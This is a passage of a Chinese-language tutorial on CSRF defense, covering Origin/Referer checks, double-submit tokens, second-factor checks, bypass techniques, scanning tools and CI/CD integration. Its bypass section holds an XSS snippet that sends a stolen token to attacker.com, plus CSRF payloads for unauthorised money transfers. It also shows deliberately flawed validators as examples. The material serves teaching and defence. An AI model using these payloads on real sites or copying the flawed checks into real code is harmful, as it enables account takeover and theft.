包含信息 | 完整URL(协议、域名、路径) | 仅协议+域名+端口 | 优先使用Origin验证 |
浏览器支持 | 广泛 | 现代浏览器支持 | 同时检查两个头 |
可被修改 | 容易被禁用或修改 | 相对难以伪造 | 作为辅助防御措施 |
可靠性 | 较低 | 较高 | 结合Token使用 |
隐私考量 | 可能泄露用户浏览历史 | 隐私影响较小 | 考虑用户隐私设置 |
Referer头包含了请求的来源页面URL,而Origin头只包含了协议、域名和端口信息。通过验证这些头信息,服务器可以确认请求是否来自合法的来源。
你认为Referer/Origin头验证作为防御措施有哪些优缺点?在什么场景下这种验证机制最为有效?
Node.js (Express)实现:
function validateReferer(req, res, next) {
const allowedOrigins = ['https://example.com', 'https://www.example.com'];
// 获取Origin或Referer头
const origin = req.headers.origin;
const referer = req.headers.referer;
// 验证来源
if (origin && allowedOrigins.includes(origin)) {
return next();
}
if (referer) {
const refererOrigin = new URL(referer).origin;
if (allowedOrigins.includes(refererOrigin)) {
return next();
}
}
// 验证失败,返回错误
res.status(403).send('Forbidden: Invalid request origin');
}
// 应用到需要保护的路由
app.post('/sensitive-action', validateReferer, (req, res) => {
// 处理敏感操作
});PHP实现:
function validateReferer() {
$allowedOrigins = ['https://example.com', 'https://www.example.com'];
// 获取Origin或Referer头
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
// 验证来源
if (!empty($origin) && in_array($origin, $allowedOrigins)) {
return true;
}
if (!empty($referer)) {
$refererParts = parse_url($referer);
$refererOrigin = $refererParts['scheme'] . '://' . $refererParts['host'];
if (isset($refererParts['port'])) {
$refererOrigin .= ':' . $refererParts['port'];
}
if (in_array($refererOrigin, $allowedOrigins)) {
return true;
}
}
return false;
}
// 使用验证函数
if (!validateReferer()) {
http_response_code(403);
die('Forbidden: Invalid request origin');
}在使用Referer/Origin头验证时,需要注意以下几点:
双重提交防护是CSRF Token机制的一种增强方式,通过在Cookie和请求参数中同时提交Token来提高安全性。
用户请求页面
↓
服务器生成CSRF Token
↓
├── 存储Token到Session
↓
└── 设置Token到Cookie
↓
用户提交请求
↓
├── 从Cookie读取Token
↓
└── 将Token作为参数/头部提交
↓
服务器验证Token
↓
├── Cookie中的Token与参数中的Token对比
↓
├── 同时验证Token是否与Session中的匹配
↓
├── 验证通过 → 处理请求
↓
└── 验证失败 → 拒绝请求双重提交防护对比表:
特性 | 传统Token | 双重提交 | 安全建议 |
|---|---|---|---|
实现复杂度 | 较低 | 中等 | 根据需求选择 |
前端负担 | 简单 | 需读取Cookie | 提供辅助函数 |
防御强度 | 强 | 更强 | 双重保障 |
对XSS的防御 | 依赖HttpOnly | 部分免疫XSS | 仍需HttpOnly |
部署难度 | 简单 | 需配置Cookie | 考虑跨域场景 |
你认为双重提交防护相比传统的CSRF Token机制有哪些优势?在什么场景下最适合使用双重提交防护?
前端实现:
// 从Cookie中获取CSRF Token
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}
// 提交表单时添加Token
const csrfToken = getCookie('csrf_token');
fetch('/api/action', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ /* 数据 */ })
});后端实现 (Node.js):
const crypto = require('crypto');
// 生成CSRF Token
function generateCsrfToken() {
return crypto.randomBytes(32).toString('hex');
}
// 设置CSRF Token到Cookie
function setCsrfToken(req, res) {
const token = generateCsrfToken();
req.session.csrfToken = token;
res.cookie('csrf_token', token, {
httpOnly: false, // 前端需要读取
secure: true,
sameSite: 'lax'
});
}
// 验证CSRF Token
function validateCsrfToken(req, res, next) {
const tokenFromCookie = req.cookies.csrf_token;
const tokenFromRequest = req.headers['x-csrf-token'] || req.body.csrf_token;
// 验证Token是否一致且有效
if (!tokenFromCookie || !tokenFromRequest ||
tokenFromCookie !== tokenFromRequest ||
tokenFromCookie !== req.session.csrfToken) {
return res.status(403).send('Invalid CSRF token');
}
next();
}
// 应用中间件
app.use((req, res, next) => {
if (!req.session.csrfToken) {
setCsrfToken(req, res);
}
next();
});
// 保护敏感路由
app.post('/sensitive-action', validateCsrfToken, (req, res) => {
// 处理敏感操作
});优点:
缺点:
对于高风险操作,如修改密码、大额转账等,实施多因素认证或二次验证是一种有效的防御措施。
多因素认证通常用于以下场景:
常见的二次验证方式包括:
// 发送短信验证码
app.post('/send-sms-code', (req, res) => {
const phoneNumber = req.user.phoneNumber;
const verificationCode = generateRandomCode(6);
// 存储验证码到Session或Redis
req.session.verificationCode = verificationCode;
req.session.codeExpires = Date.now() + 5 * 60 * 1000; // 5分钟过期
// 调用短信API发送验证码
sendSms(phoneNumber, `您的验证码是:${verificationCode},5分钟内有效。`);
res.json({ success: true, message: '验证码已发送' });
});
// 验证短信验证码
app.post('/verify-sms-code', (req, res) => {
const { code } = req.body;
if (!req.session.verificationCode || !req.session.codeExpires) {
return res.status(400).json({ success: false, message: '验证码已过期' });
}
if (Date.now() > req.session.codeExpires) {
delete req.session.verificationCode;
delete req.session.codeExpires;
return res.status(400).json({ success: false, message: '验证码已过期' });
}
if (code !== req.session.verificationCode) {
return res.status(400).json({ success: false, message: '验证码错误' });
}
// 验证成功,清除验证码并执行操作
delete req.session.verificationCode;
delete req.session.codeExpires;
// 执行敏感操作
performSensitiveOperation(req.user);
res.json({ success: true, message: '操作成功' });
});使用图形验证码可以有效防止自动化工具发起的CSRF攻击。
对于移动应用或支持生物识别的Web应用,可以使用指纹识别、面部识别等生物特征进行二次验证。
实施二次验证时,应遵循以下最佳实践:
尽管CSRF Token是一种有效的防御机制,但在某些情况下仍可能被绕过。
以下是一些常见的Token实现缺陷,可能导致CSRF防御失效:
如果服务器只验证Token是否存在而不验证其有效性,或者验证逻辑存在漏洞,攻击者可能通过提供任意Token来绕过验证。
// 存在漏洞的验证逻辑
function vulnerableValidateToken(req, res, next) {
// 只检查Token是否存在,不验证其有效性
if (!req.body.csrf_token) {
return res.status(403).send('CSRF token missing');
}
// 缺少与Session中存储的Token进行比较的步骤
next();
}如果CSRF Token通过不安全的方式传输,如URL参数或HTTP头部,可能被第三方网站通过Referer头、历史记录等方式获取。
<!-- 不安全的Token传输方式 -->
<form action="/update-profile?csrf_token=abc123" method="POST">
<!-- 表单内容 -->
</form>如果服务器没有为每个请求生成新的Token,而是重用同一Token,攻击者可能在Token有效期内进行多次攻击。
如果CSRF Token没有与用户会话绑定,攻击者可能使用自己的Token来构造攻击请求。
XSS漏洞可以用来窃取CSRF Token,从而绕过CSRF防御。
// XSS攻击代码,用于窃取CSRF Token
fetch('/get-csrf-token')
.then(response => response.text())
.then(token => {
// 发送Token到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
});攻击者可能使用以下技巧绕过Referer/Origin头验证:
某些浏览器在特定情况下(如从书签或直接输入URL)不会发送Referer头。如果服务器在Referer头为空时允许请求,可能被攻击者利用。
在某些环境中,攻击者可能通过中间人攻击或浏览器漏洞伪造Referer头。
如果服务器的Referer验证逻辑存在缺陷,攻击者可能通过添加特殊字符来绕过验证。
// 有漏洞的Referer验证逻辑
function vulnerableRefererValidation(req, res, next) {
const referer = req.headers.referer || '';
// 不安全的验证方式,只检查是否包含example.com
if (referer.includes('example.com')) {
return next();
}
return res.status(403).send('Invalid referer');
}
// 绕过攻击示例URL:https://attacker.com/example.com/attack.html
// 此URL的Referer头会包含'example.com',但实际来源是攻击者的网站尽管SameSite Cookie属性提供了有效的CSRF防御,但在某些情况下仍可能被绕过。
攻击者可能利用某些浏览器的兼容性问题,通过特定构造的请求使浏览器在应该遵循SameSite规则的情况下仍然发送Cookie。
如果网站存在会话固定漏洞,攻击者可能在用户访问恶意网站之前先将Cookie设置为已知值,然后诱导用户访问受影响的网站。
<!-- 恶意页面,用于会话固定和CSRF攻击 -->
<script>
// 首先通过XSS或其他方式设置已知的会话Cookie
document.cookie = 'sessionid=attacker_controlled_id; domain=example.com; path=/';
// 然后诱导用户执行CSRF操作
setTimeout(() => {
window.location.href = 'https://example.com/transfer-money?amount=1000&to=attacker_account';
}, 1000);
</script>在某些情况下,浏览器插件或Flash应用可能不受SameSite属性的限制,允许发起携带Cookie的跨站请求。
如果SameSite=Lax,攻击者可能通过控制目标网站的子域来绕过保护,因为某些浏览器在处理子域时可能会放宽SameSite的限制。
随着防御技术的发展,攻击者也在不断寻找新的绕过方法。
WebSocket连接在建立时可能会携带Cookie,但不受SameSite属性的限制。攻击者可能利用这一点进行CSRF攻击。
// 恶意页面中的WebSocket连接代码
const ws = new WebSocket('wss://example.com/api/ws');
ws.onopen = () => {
// 发送恶意操作指令
ws.send(JSON.stringify({
action: 'transfer-money',
amount: '1000',
target: 'attacker-account'
}));
};某些网站支持JSONP请求,攻击者可能利用这一点发起携带Cookie的GET请求。
<!-- 利用JSONP发起CSRF攻击 -->
<script src="https://example.com/api/transfer?amount=1000&to=attacker&callback=foo"></script>如果目标网站的CORS配置过于宽松,攻击者可能通过AJAX请求绕过CSRF防御。
// 利用宽松CORS配置的攻击代码
fetch('https://example.com/api/transfer', {
method: 'POST',
credentials: 'include', // 包含Cookie
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
amount: 1000,
target: 'attacker-account'
})
});攻击者可能通过缓存中毒技术,将恶意代码注入到目标网站的缓存中,从而绕过CSRF防御。
自动化测试工具可以帮助安全研究人员快速识别和验证CSRF漏洞。
OWASP ZAP是一个强大的Web应用安全扫描器,提供了CSRF漏洞测试功能。
ZAP可以自动检测Web应用中的CSRF漏洞,主要通过以下方式:
Burp Suite是Web安全测试的标准工具,提供了多种CSRF测试功能。
Burp Suite的Proxy或Repeater工具中,可以使用右键菜单中的"Generate CSRF PoC"功能生成CSRF攻击页面。
CSRFTester是一个专门用于CSRF漏洞测试的工具,可以自动化生成攻击代码。
在实际测试中,安全研究人员可能需要开发自定义工具来满足特定需求。
使用Python可以开发简单而强大的CSRF测试工具。
import requests
from bs4 import BeautifulSoup
import re
def check_csrf_token(url, session=None):
"""检查页面中是否存在CSRF Token"""
if session is None:
session = requests.Session()
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 检查表单中是否包含CSRF Token
token_found = False
# 检查隐藏字段
hidden_inputs = soup.find_all('input', type='hidden')
for input_tag in hidden_inputs:
if 'csrf' in input_tag.get('name', '').lower() or \
'token' in input_tag.get('name', '').lower():
print(f"找到可能的CSRF Token: {input_tag.get('name')}={input_tag.get('value')}")
token_found = True
# 检查meta标签
meta_tags = soup.find_all('meta')
for meta_tag in meta_tags:
if 'csrf' in meta_tag.get('name', '').lower() or \
'token' in meta_tag.get('name', '').lower() or \
'csrf' in meta_tag.get('content', '').lower():
print(f"找到可能的CSRF Token (meta): {meta_tag.get('name')}={meta_tag.get('content')}")
token_found = True
# 检查Cookie中的CSRF Token
cookies = response.cookies
for cookie_name in cookies:
if 'csrf' in cookie_name.lower() or 'token' in cookie_name.lower():
print(f"找到可能的CSRF Token (cookie): {cookie_name}")
# 检查SameSite属性
set_cookie_headers = response.headers.get('Set-Cookie', '')
if 'SameSite' not in set_cookie_headers:
print("警告: Cookie中未设置SameSite属性")
elif 'None' in set_cookie_headers and 'Secure' not in set_cookie_headers:
print("警告: SameSite=None但未设置Secure属性")
return token_found
def generate_csrf_poc(url, method, data, token_field=None, token_value=None):
"""生成CSRF攻击的PoC HTML"""
poc = f'''
<!DOCTYPE html>
<html>
<body>
<h1>CSRF测试PoC</h1>
<form id="csrf_form" action="{url}" method="{method}">
'''
# 添加表单字段
for key, value in data.items():
if token_field and key == token_field:
# 如果指定了Token字段,使用提供的值
poc += f" <input type='hidden' name='{key}' value='{token_value}'>\n"
else:
poc += f" <input type='hidden' name='{key}' value='{value}'>\n"
poc += '''</form>
<script>
// 自动提交表单
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
'''
return poc
# 使用示例
if __name__ == "__main__":
# 测试页面中的CSRF保护
test_url = "https://example.com/profile"
has_token = check_csrf_token(test_url)
# 生成CSRF PoC
attack_url = "https://example.com/update-profile"
attack_method = "POST"
attack_data = {
"email": "attacker@example.com",
"name": "Attacker",
"csrf_token": "test_token"
}
poc = generate_csrf_poc(attack_url, attack_method, attack_data)
print("\nCSRF PoC生成完成:")
print(poc)开发浏览器扩展可以更方便地进行CSRF测试。
以下是一个简单的Chrome扩展,用于检测页面中的CSRF保护措施:
manifest.json:
{
"manifest_version": 3,
"name": "CSRF Protector Detector",
"version": "1.0",
"description": "检测网页中的CSRF保护措施",
"permissions": ["activeTab", "scripting", "cookies"],
"action": {
"default_popup": "popup.html"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"]
}
]
}content.js:
function detectCsrfProtection() {
const results = {
tokens: [],
sameSite: null,
refererValidation: null
};
// 检测表单中的CSRF Token
const forms = document.querySelectorAll('form');
forms.forEach((form, index) => {
const inputs = form.querySelectorAll('input[type="hidden"]');
inputs.forEach(input => {
if (input.name && (input.name.toLowerCase().includes('csrf') ||
input.name.toLowerCase().includes('token'))) {
results.tokens.push({
formIndex: index,
name: input.name,
value: input.value,
action: form.action
});
}
});
});
// 检测meta标签中的CSRF Token
const metaTags = document.querySelectorAll('meta');
metaTags.forEach(meta => {
if (meta.name && (meta.name.toLowerCase().includes('csrf') ||
meta.name.toLowerCase().includes('token'))) {
results.tokens.push({
type: 'meta',
name: meta.name,
content: meta.content
});
}
});
// 向后台发送消息
chrome.runtime.sendMessage({ action: 'csrf_detected', results: results });
}
// 页面加载完成后执行检测
document.addEventListener('DOMContentLoaded', detectCsrfProtection);Firefox扩展使用与Chrome类似的技术,但有一些差异。
将CSRF测试集成到自动化测试框架中,可以实现持续的安全测试。
Selenium可以用于自动化浏览器操作,结合CSRF测试逻辑可以实现更强大的测试。
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
def test_csrf_vulnerability():
# 初始化浏览器
driver = webdriver.Chrome()
try:
# 登录到网站
driver.get("https://example.com/login")
driver.find_element(By.NAME, "username").send_keys("test_user")
driver.find_element(By.NAME, "password").send_keys("password123")
driver.find_element(By.CSS_SELECTOR, "button[type='submit']").click()
# 等待登录完成
WebDriverWait(driver, 10).until(EC.url_contains("dashboard"))
# 访问要测试的页面
driver.get("https://example.com/profile")
# 提取页面中的CSRF Token
csrf_token = driver.find_element(By.NAME, "csrf_token").get_attribute("value")
# 存储当前窗口句柄
main_window = driver.current_window_handle
# 打开新窗口执行CSRF攻击
driver.execute_script("window.open('about:blank');")
driver.switch_to.window(driver.window_handles[1])
# 构造CSRF攻击页面
csrf_attack_page = f'''
<!DOCTYPE html>
<html>
<body>
<form id="csrf_form" action="https://example.com/update-profile" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
<input type="hidden" name="csrf_token" value="{csrf_token}">
</form>
<script>
setTimeout(() => document.getElementById('csrf_form').submit(), 1000);
</script>
</body>
</html>
'''
# 使用data URL加载攻击页面
driver.get(f"data:text/html;charset=utf-8,{csrf_attack_page}")
# 等待攻击执行
time.sleep(2)
# 切换回主窗口,检查攻击是否成功
driver.switch_to.window(main_window)
driver.refresh()
# 检查邮箱是否被修改
updated_email = driver.find_element(By.CSS_SELECTOR, ".profile-email").text
if updated_email == "attacker@example.com":
print("CSRF攻击成功,网站存在CSRF漏洞!")
else:
print("CSRF攻击失败,网站可能有有效的CSRF保护。")
finally:
# 关闭浏览器
driver.quit()
# 运行测试
test_csrf_vulnerability()使用OWASP ZAP的API可以将CSRF测试集成到CI/CD流程中。
import requests
import time
class ZapCsrfScanner:
def __init__(self, zap_api_url="http://localhost:8080"):
self.zap_api_url = zap_api_url
self.api_key = "your_zap_api_key" # ZAP API密钥
def start_scan(self, target_url):
"""启动ZAP扫描"""
scan_url = f"{self.zap_api_url}/JSON/ascan/action/scan/?apikey={self.api_key}&url={target_url}"
response = requests.get(scan_url)
scan_id = response.json().get("scan").get("scan")
print(f"扫描已启动,扫描ID: {scan_id}")
return scan_id
def get_scan_status(self, scan_id):
"""获取扫描状态"""
status_url = f"{self.zap_api_url}/JSON/ascan/view/status/?apikey={self.api_key}&scanId={scan_id}"
response = requests.get(status_url)
status = response.json().get("status")
return int(status)
def wait_for_scan_completion(self, scan_id, check_interval=5):
"""等待扫描完成"""
while True:
status = self.get_scan_status(scan_id)
print(f"扫描进度: {status}%")
if status >= 100:
break
time.sleep(check_interval)
def get_csrf_alerts(self, target_url):
"""获取CSRF相关的警告"""
alerts_url = f"{self.zap_api_url}/JSON/core/view/alerts/?apikey={self.api_key}&url={target_url}&riskId="
response = requests.get(alerts_url)
alerts = response.json().get("alerts", [])
# 过滤CSRF相关的警告
csrf_alerts = []
for alert in alerts:
if "CSRF" in alert.get("name", "").upper() or "跨站请求伪造" in alert.get("name", ""):
csrf_alerts.append(alert)
return csrf_alerts
# 使用示例
if __name__ == "__main__":
scanner = ZapCsrfScanner()
target = "https://example.com"
# 启动扫描
scan_id = scanner.start_scan(target)
# 等待扫描完成
scanner.wait_for_scan_completion(scan_id)
# 获取CSRF警告
csrf_alerts = scanner.get_csrf_alerts(target)
# 输出结果
print(f"\n发现 {len(csrf_alerts)} 个CSRF相关警告:")
for alert in csrf_alerts:
print(f"- 名称: {alert.get('name')}")
print(f" 风险级别: {alert.get('risk')}")
print(f" URL: {alert.get('url')}")
print(f" 描述: {alert.get('description')}")
print(f" 解决方案: {alert.get('solution')}\n")有效的CSRF防御需要采用多层次的安全策略。
一个全面的CSRF防御策略应该包括以下层次:
不同的Web应用可能需要不同的防御策略组合。以下是根据应用风险等级的防御策略选择指南:
低风险应用(如内容展示网站):
中风险应用(如社交媒体网站):
高风险应用(如金融网站、支付系统):
在开发环境中正确实施CSRF保护是确保生产环境安全的关键。
为确保开发环境中的CSRF保护与生产环境一致,应进行以下配置:
Node.js (Express) 开发环境配置:
// express-csrf.js - CSRF保护中间件配置
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
module.exports = function setupCsrfProtection(app) {
// 配置cookie解析器
app.use(cookieParser('your-secret-key'));
// 配置CSRF保护
const csrfProtection = csrf({
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production', // 仅在生产环境使用HTTPS
sameSite: 'lax'
}
});
// 为所有路由提供CSRF Token
app.use((req, res, next) => {
if (req.csrfToken) {
res.locals.csrfToken = req.csrfToken();
}
next();
});
return csrfProtection;
};
// app.js - 主应用配置
const express = require('express');
const setupCsrfProtection = require('./express-csrf');
const app = express();
const csrfProtection = setupCsrfProtection(app);
// 应用CSRF保护到状态改变的路由
app.post('/profile', csrfProtection, (req, res) => {
// 处理请求
});Django 开发环境配置:
在Django中,CSRF保护默认是启用的,但需要确保开发环境的配置正确:
# settings.py
MIDDLEWARE = [
# ...
'django.middleware.csrf.CsrfViewMiddleware',
# ...
]
# 开发环境配置
if DEBUG:
# 确保CSRF保护在开发环境中也启用
CSRF_COOKIE_SECURE = False # 开发环境可以使用HTTP
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SAMESITE = 'Lax'将CSRF测试集成到开发工具中可以帮助开发者尽早发现问题:
ESLint规则配置:
// .eslintrc.js
module.exports = {
// ...
rules: {
// 自定义规则,检查表单是否包含CSRF Token
'security/check-csrf-token': ['error', {
formSelector: 'form[method="post"]',
tokenFieldName: /csrf|token/i
}]
}
};IDE插件推荐:
不同的Web框架提供了不同的CSRF保护实现方式。
React应用通常通过以下方式实现CSRF保护:
// 1. 从Cookie获取CSRF Token
import Cookies from 'js-cookie';
export function getCsrfToken() {
return Cookies.get('XSRF-TOKEN');
}
// 2. 配置Axios拦截器自动添加CSRF Token
import axios from 'axios';
const api = axios.create({
baseURL: '/api'
});
// 请求拦截器,自动添加CSRF Token
api.interceptors.request.use(config => {
const token = getCsrfToken();
if (token && config.method !== 'get') {
config.headers['X-XSRF-TOKEN'] = token;
}
return config;
});
// 3. 在表单中手动添加CSRF Token
function ProfileForm() {
const csrfToken = getCsrfToken();
return (
<form method="post" action="/api/profile">
<input type="hidden" name="_csrf" value={csrfToken} />
{/* 其他表单字段 */}
<button type="submit">保存</button>
</form>
);
}Angular提供了内置的CSRF保护机制:
// app.module.ts
import { HttpClientModule, HttpClientXsrfModule } from '@angular/common/http';
@NgModule({
imports: [
HttpClientModule,
// 配置CSRF保护
HttpClientXsrfModule.withOptions({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
})
]
})
export class AppModule { }
// api.service.ts
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
@Injectable({ providedIn: 'root' })
export class ApiService {
constructor(private http: HttpClient) { }
updateProfile(profileData: any) {
// Angular会自动添加CSRF Token到请求头
return this.http.post('/api/profile', profileData);
}
}Vue.js应用可以通过以下方式实现CSRF保护:
// main.js
import Vue from 'vue';
import axios from 'axios';
// 配置axios默认包含CSRF Token
axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN';
axios.defaults.withCredentials = true; // 包含cookies
Vue.prototype.$axios = axios;
// 组件中使用
// Profile.vue
export default {
methods: {
updateProfile() {
// CSRF Token会自动添加
this.$axios.post('/api/profile', this.profileData)
.then(response => {
// 处理响应
});
}
}
};前后端分离架构需要特别注意CSRF保护的实现:
// 后端 (Express)
const express = require('express');
const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const cors = require('cors');
const app = express();
// 配置CORS
app.use(cors({
origin: 'http://localhost:3000', // 前端域名
credentials: true // 允许携带凭证(cookies)
}));
app.use(cookieParser());
const csrfProtection = csrf({
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax'
}
});
// 提供CSRF Token的端点
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// 应用CSRF保护到其他API端点
app.post('/api/profile', csrfProtection, (req, res) => {
// 处理请求
res.json({ success: true });
});
// 前端 (React)
async function fetchCsrfToken() {
const response = await fetch('http://localhost:8000/api/csrf-token', {
credentials: 'include' // 包含cookies
});
const data = await response.json();
return data.csrfToken;
}
async function updateProfile(profileData) {
const csrfToken = await fetchCsrfToken();
return fetch('http://localhost:8000/api/profile', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(profileData)
});
}在生产环境中部署CSRF保护需要考虑更多安全因素。
HTTPS配置:
在生产环境中,必须使用HTTPS并正确配置相关安全头:
// Express.js生产环境配置
const helmet = require('helmet');
app.use(helmet()); // 设置各种安全相关的HTTP头
// 配置Cookie选项
app.use(cookieParser('your-secret-key'));
app.use(csrf({
cookie: {
httpOnly: true,
secure: true, // 仅通过HTTPS发送
sameSite: 'strict', // 更严格的SameSite策略
maxAge: 3600000 // 设置合理的过期时间
}
}));Nginx配置:
# nginx.conf
server {
listen 443 ssl;
server_name example.com;
# SSL配置
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# 安全头配置
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
# 代理到应用服务器
location / {
proxy_pass http://localhost:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}实施监控和审计机制可以及时发现潜在的CSRF攻击:
// 监控可疑的CSRF活动
app.use((req, res, next) => {
// 日志记录CSRF验证失败的请求
if (req.method !== 'GET' && !req.csrfToken) {
console.warn(`可能的CSRF攻击尝试: ${req.method} ${req.path}`, {
ip: req.ip,
userAgent: req.headers['user-agent'],
referer: req.headers.referer || '无'
});
}
next();
});
// 记录所有的CSRF Token验证失败
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
// 记录详细的错误信息
console.error('CSRF验证失败', {
timestamp: new Date().toISOString(),
path: req.path,
method: req.method,
ip: req.ip,
user: req.user ? req.user.id : '未登录',
headers: {
referer: req.headers.referer,
origin: req.headers.origin
}
});
// 向安全监控系统发送警报
sendSecurityAlert({
type: 'CSRF_FAILURE',
severity: 'medium',
details: {
path: req.path,
method: req.method,
ip: req.ip
}
});
return res.status(403).json({ error: '无效的CSRF Token' });
}
next(err);
});制定CSRF漏洞响应计划有助于快速处理潜在的安全事件:
将CSRF保护集成到CI/CD流程中可以确保安全措施在每次部署时都得到验证。
在Jenkins中配置CSRF安全检查:
// Jenkinsfile
pipeline {
agent any
stages {
stage('安全检查') {
steps {
// 运行CSRF安全扫描
sh 'npx eslint --plugin security .'
// 使用OWASP ZAP进行CSRF测试
sh '''
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://staging.example.com \
-g gen.conf -r zap-report.html
'''
// 分析ZAP报告中的CSRF问题
sh '''
if grep -i "csrf" zap-report.html; then
echo "发现CSRF相关问题"
exit 1
fi
'''
}
}
stage('部署前检查') {
steps {
// 验证生产环境配置
sh 'python scripts/verify_csrf_config.py'
}
}
}
}配置GitHub Actions进行CSRF安全检查:
# .github/workflows/security-checks.yml
name: 安全检查
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main, develop ]
jobs:
csrf-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: 设置Node.js
uses: actions/setup-node@v3
with:
node-version: '16'
- name: 安装依赖
run: npm ci
- name: 运行CSRF规则检查
run: npx eslint --config .eslintrc.security.js .
- name: 启动测试服务器
run: npm run start:test &
- name: 等待服务器启动
run: sleep 10
- name: 运行CSRF自动化测试
run: npm run test:security:csrf以下是一个用于自动化测试CSRF保护的Python脚本:
#!/usr/bin/env python3
"""CSRF安全测试自动化脚本"""
import requests
import json
import sys
from bs4 import BeautifulSoup
class CsrfSecurityTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = {
'csrf_token_present': [],
'csrf_token_absent': [],
'samesite_cookies': [],
'no_samesite_cookies': [],
'referer_validation': [],
'csrf_issues': []
}
def login(self, username, password):
"""登录到应用获取会话"""
login_data = {"username": username, "password": password}
response = self.session.post(f"{self.base_url}/login", data=login_data)
return response.status_code == 200
def test_forms_for_csrf_tokens(self, url):
"""测试页面中的表单是否包含CSRF Token"""
response = self.session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
for form in forms:
form_action = form.get('action') or url
form_method = form.get('method', 'get').lower()
# 只检查非GET请求的表单
if form_method != 'get':
has_token = False
token_fields = form.find_all('input', type='hidden')
for field in token_fields:
if field.get('name') and (
'csrf' in field.get('name').lower() or
'token' in field.get('name').lower()
):
has_token = True
break
if has_token:
self.results['csrf_token_present'].append({
'url': url,
'form_action': form_action,
'method': form_method
})
else:
issue = {
'url': url,
'form_action': form_action,
'method': form_method,
'description': '表单缺少CSRF Token'
}
self.results['csrf_token_absent'].append(issue)
self.results['csrf_issues'].append(issue)
def test_cookies_for_samesite(self):
"""测试Cookie是否设置了SameSite属性"""
# 访问一个页面以获取Cookie
self.session.get(self.base_url)
# 检查所有Cookie
for cookie in self.session.cookies:
cookie_dict = requests.utils.dict_from_cookiejar(self.session.cookies)
# 获取Set-Cookie头信息
# 注意:requests库不直接提供Cookie的SameSite属性,这里是示例
# 在实际应用中,可能需要直接分析Set-Cookie头
# 模拟检查逻辑
cookie_info = {
'name': cookie.name,
'domain': cookie.domain,
'path': cookie.path,
'secure': cookie.secure,
'httponly': cookie.has_nonstandard_attr('HttpOnly')
}
# 假设有一个方法来检查SameSite
has_samesite = self._check_samesite_in_response()
if has_samesite:
self.results['samesite_cookies'].append(cookie_info)
else:
issue = {
'cookie_name': cookie.name,
'description': 'Cookie缺少SameSite属性'
}
self.results['no_samesite_cookies'].append(issue)
self.results['csrf_issues'].append(issue)
def _check_samesite_in_response(self):
"""检查响应中的Set-Cookie头是否包含SameSite属性"""
# 实际实现中,需要分析最近响应的Set-Cookie头
return False # 示例返回
def test_referer_validation(self, protected_endpoint, data):
"""测试是否验证Referer/Origin头"""
# 正常请求(带Referer)
normal_response = self.session.post(
protected_endpoint,
data=data,
headers={'Referer': self.base_url}
)
# 不带Referer的请求
no_referer_response = self.session.post(
protected_endpoint,
data=data,
headers={'Referer': None} # 某些服务器可能会忽略此设置
)
# 使用伪造Referer的请求
fake_referer_response = self.session.post(
protected_endpoint,
data=data,
headers={'Referer': 'https://attacker.com'}
)
validation_result = {
'endpoint': protected_endpoint,
'normal_request_status': normal_response.status_code,
'no_referer_status': no_referer_response.status_code,
'fake_referer_status': fake_referer_response.status_code,
'has_validation': no_referer_response.status_code != 200 or \
fake_referer_response.status_code != 200
}
self.results['referer_validation'].append(validation_result)
if not validation_result['has_validation']:
issue = {
'endpoint': protected_endpoint,
'description': '未验证Referer/Origin头'
}
self.results['csrf_issues'].append(issue)
def generate_report(self, output_file=None):
"""生成测试报告"""
report = {
'summary': {
'total_issues': len(self.results['csrf_issues']),
'forms_with_token': len(self.results['csrf_token_present']),
'forms_without_token': len(self.results['csrf_token_absent']),
'cookies_with_samesite': len(self.results['samesite_cookies']),
'cookies_without_samesite': len(self.results['no_samesite_cookies'])
},
'details': self.results
}
report_json = json.dumps(report, indent=2)
if output_file:
with open(output_file, 'w') as f:
f.write(report_json)
print(f"报告已保存到 {output_file}")
else:
print(report_json)
return report
# 使用示例
if __name__ == "__main__":
if len(sys.argv) < 2:
print("用法: python csrf_tester.py <base_url> [输出文件]")
sys.exit(1)
base_url = sys.argv[1]
output_file = sys.argv[2] if len(sys.argv) > 2 else None
tester = CsrfSecurityTester(base_url)
# 登录(如果需要)
